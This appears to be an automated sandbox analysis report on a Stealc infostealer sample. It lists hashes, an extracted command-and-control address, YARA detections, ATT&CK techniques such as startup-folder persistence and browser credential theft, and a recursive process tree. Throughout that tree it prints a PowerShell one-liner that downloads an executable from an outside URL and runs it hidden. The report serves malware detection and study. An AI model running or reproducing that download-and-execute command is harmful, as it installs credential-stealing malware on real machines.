stealc | 7dcffe29d07d646b361b1bff52dfebd9747e766971d0284c788baaf38631ff5c

Analysis

max time kernel
91s
max time network
155s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
27/08/2026, 12:20

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
7dcffe29d07d646b361b1bff52dfebd9747e766971d0284c788baaf38631ff5c.exe
Size 6.9MB
Sample260827-phvcratgra
SHA256 7dcffe29d07d646b361b1bff52dfebd9747e766971d0284c788baaf38631ff5c
MD5 f2fed264a2e126a9f4ad784a5d211eda
SHA1 53a5f7f9f94488f498a9a5cfcd5857b2f1c1315f
SHA512 148f563742587bcb38dc3593daed79ff1f94d618ccde2a2e77b23f7daf478dc5a663174f2c75bec5d4ccbe820f8ad9264aa96e31c63c8ae44feb37a9b9197052
SSDEEP 49152:qhy0aoBhmmIkrb/T9vO90d7HjmAFd4A64nsfJeqvpoSFgxT3M6iUbEAGqr89nK97:4mIZjuEyE3dAhM2ACgMaWxf+G8MQGdTs
TLSH
T14C765B03B899A1E4C5D9D63085368293BA717C884B3037D32F54BBBA2F767C46EB9354
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

discovery execution stealc persistence privilege_escalation spyware stealer

Malware Config

Extracted

Family

stealc

http://45.88.91.77

rc4.plain

Signatures

Family: Stealc
Stealc is an infostealer written in C++.
stealer stealc

Detects Stealc stealer Version 3 64 IoCs

resource	yara_rule
behavioral2/memory/5024-41-0x0000000140000000-0x00000001400D8000-memory.dmp	family_stealc_v3
behavioral2/memory/5024-52-0x0000000140000000-0x00000001400D8000-memory.dmp	family_stealc_v3
behavioral2/memory/5024-53-0x0000000140000000-0x00000001400D8000-memory.dmp	family_stealc_v3
behavioral2/memory/5024-50-0x0000000140000000-0x00000001400D8000-memory.dmp	family_stealc_v3
behavioral2/memory/5024-49-0x0000000140000000-0x00000001400D8000-memory.dmp	family_stealc_v3
behavioral2/memory/5024-45-0x0000000140000000-0x00000001400D8000-memory.dmp	family_stealc_v3
behavioral2/memory/5024-43-0x0000000140000000-0x00000001400D8000-memory.dmp	family_stealc_v3
behavioral2/memory/5024-51-0x0000000140000000-0x00000001400D8000-memory.dmp	family_stealc_v3
behavioral2/memory/5024-48-0x0000000140000000-0x00000001400D8000-memory.dmp	family_stealc_v3
behavioral2/memory/5024-47-0x0000000140000000-0x00000001400D8000-memory.dmp	family_stealc_v3
behavioral2/memory/5024-46-0x0000000140000000-0x00000001400D8000-memory.dmp	family_stealc_v3
behavioral2/memory/5024-44-0x0000000140000000-0x00000001400D8000-memory.dmp	family_stealc_v3
behavioral2/memory/5024-42-0x0000000140000000-0x00000001400D8000-memory.dmp	family_stealc_v3
behavioral2/memory/5024-78-0x0000000140000000-0x00000001400D8000-memory.dmp	family_stealc_v3
behavioral2/memory/1932-71-0x0000000140000000-0x00000001400D8000-memory.dmp	family_stealc_v3
behavioral2/memory/1932-72-0x0000000140000000-0x00000001400D8000-memory.dmp	family_stealc_v3
behavioral2/memory/1932-70-0x0000000140000000-0x00000001400D8000-memory.dmp	family_stealc_v3
behavioral2/memory/1932-67-0x0000000140000000-0x00000001400D8000-memory.dmp	family_stealc_v3
behavioral2/memory/1932-66-0x0000000140000000-0x00000001400D8000-memory.dmp	family_stealc_v3
behavioral2/memory/1932-62-0x0000000140000000-0x00000001400D8000-memory.dmp	family_stealc_v3
behavioral2/memory/1932-61-0x0000000140000000-0x00000001400D8000-memory.dmp	family_stealc_v3
behavioral2/memory/1932-69-0x0000000140000000-0x00000001400D8000-memory.dmp	family_stealc_v3
behavioral2/memory/1932-68-0x0000000140000000-0x00000001400D8000-memory.dmp	family_stealc_v3
behavioral2/memory/1932-65-0x0000000140000000-0x00000001400D8000-memory.dmp	family_stealc_v3
behavioral2/memory/1932-64-0x0000000140000000-0x00000001400D8000-memory.dmp	family_stealc_v3
behavioral2/memory/1932-63-0x0000000140000000-0x00000001400D8000-memory.dmp	family_stealc_v3
behavioral2/memory/1932-60-0x0000000140000000-0x00000001400D8000-memory.dmp	family_stealc_v3
behavioral2/memory/2432-90-0x0000000140000000-0x00000001400D8000-memory.dmp	family_stealc_v3
behavioral2/memory/2432-88-0x0000000140000000-0x00000001400D8000-memory.dmp	family_stealc_v3
behavioral2/memory/2432-93-0x0000000140000000-0x00000001400D8000-memory.dmp	family_stealc_v3
behavioral2/memory/2432-92-0x0000000140000000-0x00000001400D8000-memory.dmp	family_stealc_v3
behavioral2/memory/2432-98-0x0000000140000000-0x00000001400D8000-memory.dmp	family_stealc_v3
behavioral2/memory/2432-97-0x0000000140000000-0x00000001400D8000-memory.dmp	family_stealc_v3
behavioral2/memory/2432-94-0x0000000140000000-0x00000001400D8000-memory.dmp	family_stealc_v3
behavioral2/memory/2432-99-0x0000000140000000-0x00000001400D8000-memory.dmp	family_stealc_v3
behavioral2/memory/2432-96-0x0000000140000000-0x00000001400D8000-memory.dmp	family_stealc_v3
behavioral2/memory/2432-95-0x0000000140000000-0x00000001400D8000-memory.dmp	family_stealc_v3
behavioral2/memory/2432-91-0x0000000140000000-0x00000001400D8000-memory.dmp	family_stealc_v3
behavioral2/memory/2432-89-0x0000000140000000-0x00000001400D8000-memory.dmp	family_stealc_v3
behavioral2/memory/2432-87-0x0000000140000000-0x00000001400D8000-memory.dmp	family_stealc_v3
behavioral2/memory/2976-116-0x0000000140000000-0x00000001400D8000-memory.dmp	family_stealc_v3
behavioral2/memory/2976-111-0x0000000140000000-0x00000001400D8000-memory.dmp	family_stealc_v3
behavioral2/memory/2976-122-0x0000000140000000-0x00000001400D8000-memory.dmp	family_stealc_v3
behavioral2/memory/2976-123-0x0000000140000000-0x00000001400D8000-memory.dmp	family_stealc_v3
behavioral2/memory/2976-121-0x0000000140000000-0x00000001400D8000-memory.dmp	family_stealc_v3
behavioral2/memory/2976-119-0x0000000140000000-0x00000001400D8000-memory.dmp	family_stealc_v3
behavioral2/memory/2976-117-0x0000000140000000-0x00000001400D8000-memory.dmp	family_stealc_v3
behavioral2/memory/2976-115-0x0000000140000000-0x00000001400D8000-memory.dmp	family_stealc_v3
behavioral2/memory/2976-114-0x0000000140000000-0x00000001400D8000-memory.dmp	family_stealc_v3
behavioral2/memory/2976-113-0x0000000140000000-0x00000001400D8000-memory.dmp	family_stealc_v3
behavioral2/memory/2976-120-0x0000000140000000-0x00000001400D8000-memory.dmp	family_stealc_v3
behavioral2/memory/2976-118-0x0000000140000000-0x00000001400D8000-memory.dmp	family_stealc_v3
behavioral2/memory/2976-112-0x0000000140000000-0x00000001400D8000-memory.dmp	family_stealc_v3
behavioral2/memory/3784-144-0x0000000140000000-0x00000001400D8000-memory.dmp	family_stealc_v3
behavioral2/memory/3784-143-0x0000000140000000-0x00000001400D8000-memory.dmp	family_stealc_v3
behavioral2/memory/3784-140-0x0000000140000000-0x00000001400D8000-memory.dmp	family_stealc_v3
behavioral2/memory/3784-147-0x0000000140000000-0x00000001400D8000-memory.dmp	family_stealc_v3
behavioral2/memory/3784-149-0x0000000140000000-0x00000001400D8000-memory.dmp	family_stealc_v3
behavioral2/memory/3784-146-0x0000000140000000-0x00000001400D8000-memory.dmp	family_stealc_v3
behavioral2/memory/3784-142-0x0000000140000000-0x00000001400D8000-memory.dmp	family_stealc_v3
behavioral2/memory/3784-141-0x0000000140000000-0x00000001400D8000-memory.dmp	family_stealc_v3
behavioral2/memory/3784-139-0x0000000140000000-0x00000001400D8000-memory.dmp	family_stealc_v3
behavioral2/memory/3784-145-0x0000000140000000-0x00000001400D8000-memory.dmp	family_stealc_v3
behavioral2/memory/3784-138-0x0000000140000000-0x00000001400D8000-memory.dmp	family_stealc_v3

Badlisted process makes network request 18 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
7	1228	powershell.exe
12	5712	powershell.exe
15	3256	powershell.exe
17	3828	powershell.exe
19	3132	powershell.exe
21	3900	powershell.exe
23	4788	powershell.exe
26	872	powershell.exe
28	4624	powershell.exe
30	1692	powershell.exe
32	4232	powershell.exe
34	2896	powershell.exe
36	5816	powershell.exe
38	5044	powershell.exe
40	3804	powershell.exe
42	4396	powershell.exe
44	2524	powershell.exe
46	6076	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 46 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2548	powershell.exe
5944	powershell.exe
4992	powershell.exe
5172	powershell.exe
1228	powershell.exe
3256	powershell.exe
4232	powershell.exe
5816	powershell.exe
5392	powershell.exe
5728	powershell.exe
4340	powershell.exe
3828	powershell.exe
1692	powershell.exe
5044	powershell.exe
2524	powershell.exe
1412	powershell.exe
2648	powershell.exe
3436	powershell.exe
3132	powershell.exe
3804	powershell.exe
1268	powershell.exe
400	powershell.exe
4680	powershell.exe
4704	powershell.exe
5372	powershell.exe
3052	powershell.exe
1276	powershell.exe
816	powershell.exe
4788	powershell.exe
2616	powershell.exe
3800	powershell.exe
3328	powershell.exe
5628	powershell.exe
5344	powershell.exe
4624	powershell.exe
2896	powershell.exe
1256	powershell.exe
2148	powershell.exe
4608	powershell.exe
3888	powershell.exe
4580	powershell.exe
872	powershell.exe
4396	powershell.exe
6076	powershell.exe
5712	powershell.exe
3900	powershell.exe

Downloads MZ/PE file 18 IoCs

flow	pid	Process
12	5712	powershell.exe
26	872	powershell.exe
34	2896	powershell.exe
38	5044	powershell.exe
44	2524	powershell.exe
46	6076	powershell.exe
7	1228	powershell.exe
19	3132	powershell.exe
21	3900	powershell.exe
23	4788	powershell.exe
28	4624	powershell.exe
30	1692	powershell.exe
32	4232	powershell.exe
36	5816	powershell.exe
40	3804	powershell.exe
42	4396	powershell.exe
15	3256	powershell.exe
17	3828	powershell.exe

Creates a file in the Startup directory 1 TTPs 18 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

persistence privilege_escalation

Registry Run Keys / Startup Folder

T1547.001

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\mscopilot.lnk	mscopilot.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\mscopilot.lnk	mscopilot.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\mscopilot.lnk	mscopilot.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\mscopilot.lnk	mscopilot.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\mscopilot.lnk	mscopilot.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\mscopilot.lnk	mscopilot.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\7dcffe29d07d646b361b1bff52dfebd9747e766971d0284c788baaf38631ff5c.lnk	7dcffe29d07d646b361b1bff52dfebd9747e766971d0284c788baaf38631ff5c.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\mscopilot.lnk	mscopilot.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\mscopilot.lnk	mscopilot.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\mscopilot.lnk	mscopilot.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\mscopilot.lnk	mscopilot.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\mscopilot.lnk	mscopilot.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\mscopilot.lnk	mscopilot.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\mscopilot.lnk	mscopilot.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\mscopilot.lnk	mscopilot.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\mscopilot.lnk	mscopilot.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\mscopilot.lnk	mscopilot.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\mscopilot.lnk	mscopilot.exe

Executes dropped EXE 18 IoCs

pid	Process
1932	mscopilot.exe
2432	mscopilot.exe
2976	mscopilot.exe
3784	mscopilot.exe
952	mscopilot.exe
3352	mscopilot.exe
3368	mscopilot.exe
3088	mscopilot.exe
3544	mscopilot.exe
1936	mscopilot.exe
4328	mscopilot.exe
5764	mscopilot.exe
4048	mscopilot.exe
4576	mscopilot.exe
4480	mscopilot.exe
1792	mscopilot.exe
3012	mscopilot.exe
3308	mscopilot.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	7dcffe29d07d646b361b1bff52dfebd9747e766971d0284c788baaf38631ff5c.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	7dcffe29d07d646b361b1bff52dfebd9747e766971d0284c788baaf38631ff5c.exe

Suspicious behavior: EnumeratesProcesses 53 IoCs

pid	Process
1228	powershell.exe
1228	powershell.exe
5712	powershell.exe
5712	powershell.exe
5024	7dcffe29d07d646b361b1bff52dfebd9747e766971d0284c788baaf38631ff5c.exe
5024	7dcffe29d07d646b361b1bff52dfebd9747e766971d0284c788baaf38631ff5c.exe
3256	powershell.exe
3256	powershell.exe
3828	powershell.exe
3828	powershell.exe
3828	powershell.exe
3132	powershell.exe
3132	powershell.exe
3132	powershell.exe
3900	powershell.exe
3900	powershell.exe
3900	powershell.exe
4788	powershell.exe
4788	powershell.exe
4788	powershell.exe
872	powershell.exe
872	powershell.exe
872	powershell.exe
4624	powershell.exe
4624	powershell.exe
4624	powershell.exe
1692	powershell.exe
1692	powershell.exe
1692	powershell.exe
4232	powershell.exe
4232	powershell.exe
4232	powershell.exe
2896	powershell.exe
2896	powershell.exe
2896	powershell.exe
5816	powershell.exe
5816	powershell.exe
5816	powershell.exe
5044	powershell.exe
5044	powershell.exe
5044	powershell.exe
3804	powershell.exe
3804	powershell.exe
3804	powershell.exe
4396	powershell.exe
4396	powershell.exe
4396	powershell.exe
2524	powershell.exe
2524	powershell.exe
2524	powershell.exe
6076	powershell.exe
6076	powershell.exe
6076	powershell.exe

Suspicious use of AdjustPrivilegeToken 19 IoCs

description	pid	Process
Token: SeDebugPrivilege	1228	powershell.exe
Token: SeDebugPrivilege	5712	powershell.exe
Token: SeDebugPrivilege	3256	powershell.exe
Token: SeDebugPrivilege	3828	powershell.exe
Token: SeDebugPrivilege	3132	powershell.exe
Token: SeDebugPrivilege	3900	powershell.exe
Token: SeDebugPrivilege	4788	powershell.exe
Token: SeDebugPrivilege	872	powershell.exe
Token: SeDebugPrivilege	4624	powershell.exe
Token: SeDebugPrivilege	1692	powershell.exe
Token: SeDebugPrivilege	4232	powershell.exe
Token: SeDebugPrivilege	2896	powershell.exe
Token: SeDebugPrivilege	5816	powershell.exe
Token: SeDebugPrivilege	5044	powershell.exe
Token: SeDebugPrivilege	3804	powershell.exe
Token: SeDebugPrivilege	4396	powershell.exe
Token: SeDebugPrivilege	2524	powershell.exe
Token: SeDebugPrivilege	6076	powershell.exe
Token: SeDebugPrivilege	1256	powershell.exe

Suspicious use of WriteProcessMemory 45 IoCs

description	pid	Process	procid_target
PID 5024 wrote to memory of 1228	5024	7dcffe29d07d646b361b1bff52dfebd9747e766971d0284c788baaf38631ff5c.exe	89
PID 1228 wrote to memory of 1932	1228	powershell.exe	92
PID 1932 wrote to memory of 5712	1932	mscopilot.exe	93
PID 5712 wrote to memory of 2432	5712	powershell.exe	95
PID 5024 wrote to memory of 5360	5024	7dcffe29d07d646b361b1bff52dfebd9747e766971d0284c788baaf38631ff5c.exe	96
PID 5024 wrote to memory of 5360	5024	7dcffe29d07d646b361b1bff52dfebd9747e766971d0284c788baaf38631ff5c.exe	96
PID 2432 wrote to memory of 3256	2432	mscopilot.exe	99
PID 3256 wrote to memory of 2976	3256	powershell.exe	101
PID 2976 wrote to memory of 3828	2976	mscopilot.exe	102
PID 3828 wrote to memory of 3784	3828	powershell.exe	104
PID 5024 wrote to memory of 5768	5024	7dcffe29d07d646b361b1bff52dfebd9747e766971d0284c788baaf38631ff5c.exe	105
PID 5024 wrote to memory of 5768	5024	7dcffe29d07d646b361b1bff52dfebd9747e766971d0284c788baaf38631ff5c.exe	105
PID 3784 wrote to memory of 3132	3784	mscopilot.exe	108
PID 3132 wrote to memory of 952	3132	powershell.exe	110
PID 952 wrote to memory of 3900	952	mscopilot.exe	111
PID 3900 wrote to memory of 3352	3900	powershell.exe	113
PID 3352 wrote to memory of 4788	3352	mscopilot.exe	114
PID 4788 wrote to memory of 3368	4788	powershell.exe	116
PID 3368 wrote to memory of 872	3368	mscopilot.exe	117
PID 872 wrote to memory of 3088	872	powershell.exe	119
PID 3088 wrote to memory of 4624	3088	mscopilot.exe	120
PID 4624 wrote to memory of 3544	4624	powershell.exe	122
PID 3544 wrote to memory of 1692	3544	mscopilot.exe	123
PID 5024 wrote to memory of 1464	5024	7dcffe29d07d646b361b1bff52dfebd9747e766971d0284c788baaf38631ff5c.exe	145
PID 5024 wrote to memory of 1464	5024	7dcffe29d07d646b361b1bff52dfebd9747e766971d0284c788baaf38631ff5c.exe	145
PID 1692 wrote to memory of 1936	1692	powershell.exe	128
PID 1936 wrote to memory of 4232	1936	mscopilot.exe	129
PID 4232 wrote to memory of 4328	4232	powershell.exe	131
PID 4328 wrote to memory of 2896	4328	mscopilot.exe	132
PID 2896 wrote to memory of 5764	2896	powershell.exe	134
PID 5764 wrote to memory of 5816	5764	mscopilot.exe	135
PID 5816 wrote to memory of 4048	5816	powershell.exe	137
PID 4048 wrote to memory of 5044	4048	mscopilot.exe	138
PID 5044 wrote to memory of 4576	5044	powershell.exe	140
PID 4576 wrote to memory of 3804	4576	mscopilot.exe	141
PID 3804 wrote to memory of 4480	3804	powershell.exe	143
PID 4480 wrote to memory of 4396	4480	mscopilot.exe	144
PID 5024 wrote to memory of 2548	5024	7dcffe29d07d646b361b1bff52dfebd9747e766971d0284c788baaf38631ff5c.exe	174
PID 5024 wrote to memory of 2548	5024	7dcffe29d07d646b361b1bff52dfebd9747e766971d0284c788baaf38631ff5c.exe	174
PID 4396 wrote to memory of 1792	4396	powershell.exe	149
PID 1792 wrote to memory of 2524	1792	mscopilot.exe	150
PID 2524 wrote to memory of 3012	2524	powershell.exe	152
PID 3012 wrote to memory of 6076	3012	mscopilot.exe	153
PID 6076 wrote to memory of 3308	6076	powershell.exe	155
PID 3308 wrote to memory of 1256	3308	mscopilot.exe	156

C:\Users\Admin\AppData\Local\Temp\7dcffe29d07d646b361b1bff52dfebd9747e766971d0284c788baaf38631ff5c.exe
"C:\Users\Admin\AppData\Local\Temp\7dcffe29d07d646b361b1bff52dfebd9747e766971d0284c788baaf38631ff5c.exe"
1⤵
- Creates a file in the Startup directory
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:5024
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -Command "$f=\"$env:TEMP\mscopilot.exe\"; iwr 'https://www.womanizer.com/blog/mscopilot.exe' -OutFile $f -UseB; Start-Process $f -WindowStyle Hidden"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Downloads MZ/PE file
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1228
- - C:\Users\Admin\AppData\Local\Temp\mscopilot.exe
    "C:\Users\Admin\AppData\Local\Temp\mscopilot.exe"
    3⤵
    - Creates a file in the Startup directory
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:1932
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -Command "$f=\"$env:TEMP\mscopilot.exe\"; iwr 'https://www.womanizer.com/blog/mscopilot.exe' -OutFile $f -UseB; Start-Process $f -WindowStyle Hidden"
      4⤵
      Badlisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Downloads MZ/PE file
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:5712
    - - C:\Users\Admin\AppData\Local\Temp\mscopilot.exe
        
        "C:\Users\Admin\AppData\Local\Temp\mscopilot.exe"
        5⤵
        Creates a file in the Startup directory
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:2432
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command "$f=\"$env:TEMP\mscopilot.exe\"; iwr 'https://www.womanizer.com/blog/mscopilot.exe' -OutFile $f -UseB; Start-Process $f -WindowStyle Hidden"
        6⤵
        Badlisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Downloads MZ/PE file
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:3256
        
        C:\Users\Admin\AppData\Local\Temp\mscopilot.exe
        
        "C:\Users\Admin\AppData\Local\Temp\mscopilot.exe"
        7⤵
        Creates a file in the Startup directory
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:2976
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command "$f=\"$env:TEMP\mscopilot.exe\"; iwr 'https://www.womanizer.com/blog/mscopilot.exe' -OutFile $f -UseB; Start-Process $f -WindowStyle Hidden"
        8⤵
        Badlisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Downloads MZ/PE file
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:3828
        
        C:\Users\Admin\AppData\Local\Temp\mscopilot.exe
        
        "C:\Users\Admin\AppData\Local\Temp\mscopilot.exe"
        9⤵
        Creates a file in the Startup directory
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:3784
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command "$f=\"$env:TEMP\mscopilot.exe\"; iwr 'https://www.womanizer.com/blog/mscopilot.exe' -OutFile $f -UseB; Start-Process $f -WindowStyle Hidden"
        10⤵
        Badlisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Downloads MZ/PE file
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:3132
        
        C:\Users\Admin\AppData\Local\Temp\mscopilot.exe
        
        "C:\Users\Admin\AppData\Local\Temp\mscopilot.exe"
        11⤵
        Creates a file in the Startup directory
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:952
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command "$f=\"$env:TEMP\mscopilot.exe\"; iwr 'https://www.womanizer.com/blog/mscopilot.exe' -OutFile $f -UseB; Start-Process $f -WindowStyle Hidden"
        12⤵
        Badlisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Downloads MZ/PE file
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:3900
        
        C:\Users\Admin\AppData\Local\Temp\mscopilot.exe
        
        "C:\Users\Admin\AppData\Local\Temp\mscopilot.exe"
        13⤵
        Creates a file in the Startup directory
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:3352
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command "$f=\"$env:TEMP\mscopilot.exe\"; iwr 'https://www.womanizer.com/blog/mscopilot.exe' -OutFile $f -UseB; Start-Process $f -WindowStyle Hidden"
        14⤵
        Badlisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Downloads MZ/PE file
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:4788
        
        C:\Users\Admin\AppData\Local\Temp\mscopilot.exe
        
        "C:\Users\Admin\AppData\Local\Temp\mscopilot.exe"
        15⤵
        Creates a file in the Startup directory
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:3368
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command "$f=\"$env:TEMP\mscopilot.exe\"; iwr 'https://www.womanizer.com/blog/mscopilot.exe' -OutFile $f -UseB; Start-Process $f -WindowStyle Hidden"
        16⤵
        Badlisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Downloads MZ/PE file
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:872
        
        C:\Users\Admin\AppData\Local\Temp\mscopilot.exe
        
        "C:\Users\Admin\AppData\Local\Temp\mscopilot.exe"
        17⤵
        Creates a file in the Startup directory
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:3088
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command "$f=\"$env:TEMP\mscopilot.exe\"; iwr 'https://www.womanizer.com/blog/mscopilot.exe' -OutFile $f -UseB; Start-Process $f -WindowStyle Hidden"
        18⤵
        Badlisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Downloads MZ/PE file
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:4624
        
        C:\Users\Admin\AppData\Local\Temp\mscopilot.exe
        
        "C:\Users\Admin\AppData\Local\Temp\mscopilot.exe"
        19⤵
        Creates a file in the Startup directory
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:3544
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command "$f=\"$env:TEMP\mscopilot.exe\"; iwr 'https://www.womanizer.com/blog/mscopilot.exe' -OutFile $f -UseB; Start-Process $f -WindowStyle Hidden"
        20⤵
        Badlisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Downloads MZ/PE file
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:1692
        
        C:\Users\Admin\AppData\Local\Temp\mscopilot.exe
        
        "C:\Users\Admin\AppData\Local\Temp\mscopilot.exe"
        21⤵
        Creates a file in the Startup directory
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:1936
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command "$f=\"$env:TEMP\mscopilot.exe\"; iwr 'https://www.womanizer.com/blog/mscopilot.exe' -OutFile $f -UseB; Start-Process $f -WindowStyle Hidden"
        22⤵
        Badlisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Downloads MZ/PE file
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:4232
        
        C:\Users\Admin\AppData\Local\Temp\mscopilot.exe
        
        "C:\Users\Admin\AppData\Local\Temp\mscopilot.exe"
        23⤵
        Creates a file in the Startup directory
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:4328
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command "$f=\"$env:TEMP\mscopilot.exe\"; iwr 'https://www.womanizer.com/blog/mscopilot.exe' -OutFile $f -UseB; Start-Process $f -WindowStyle Hidden"
        24⤵
        Badlisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Downloads MZ/PE file
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:2896
        
        C:\Users\Admin\AppData\Local\Temp\mscopilot.exe
        
        "C:\Users\Admin\AppData\Local\Temp\mscopilot.exe"
        25⤵
        Creates a file in the Startup directory
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:5764
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command "$f=\"$env:TEMP\mscopilot.exe\"; iwr 'https://www.womanizer.com/blog/mscopilot.exe' -OutFile $f -UseB; Start-Process $f -WindowStyle Hidden"
        26⤵
        Badlisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Downloads MZ/PE file
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:5816
        
        C:\Users\Admin\AppData\Local\Temp\mscopilot.exe
        
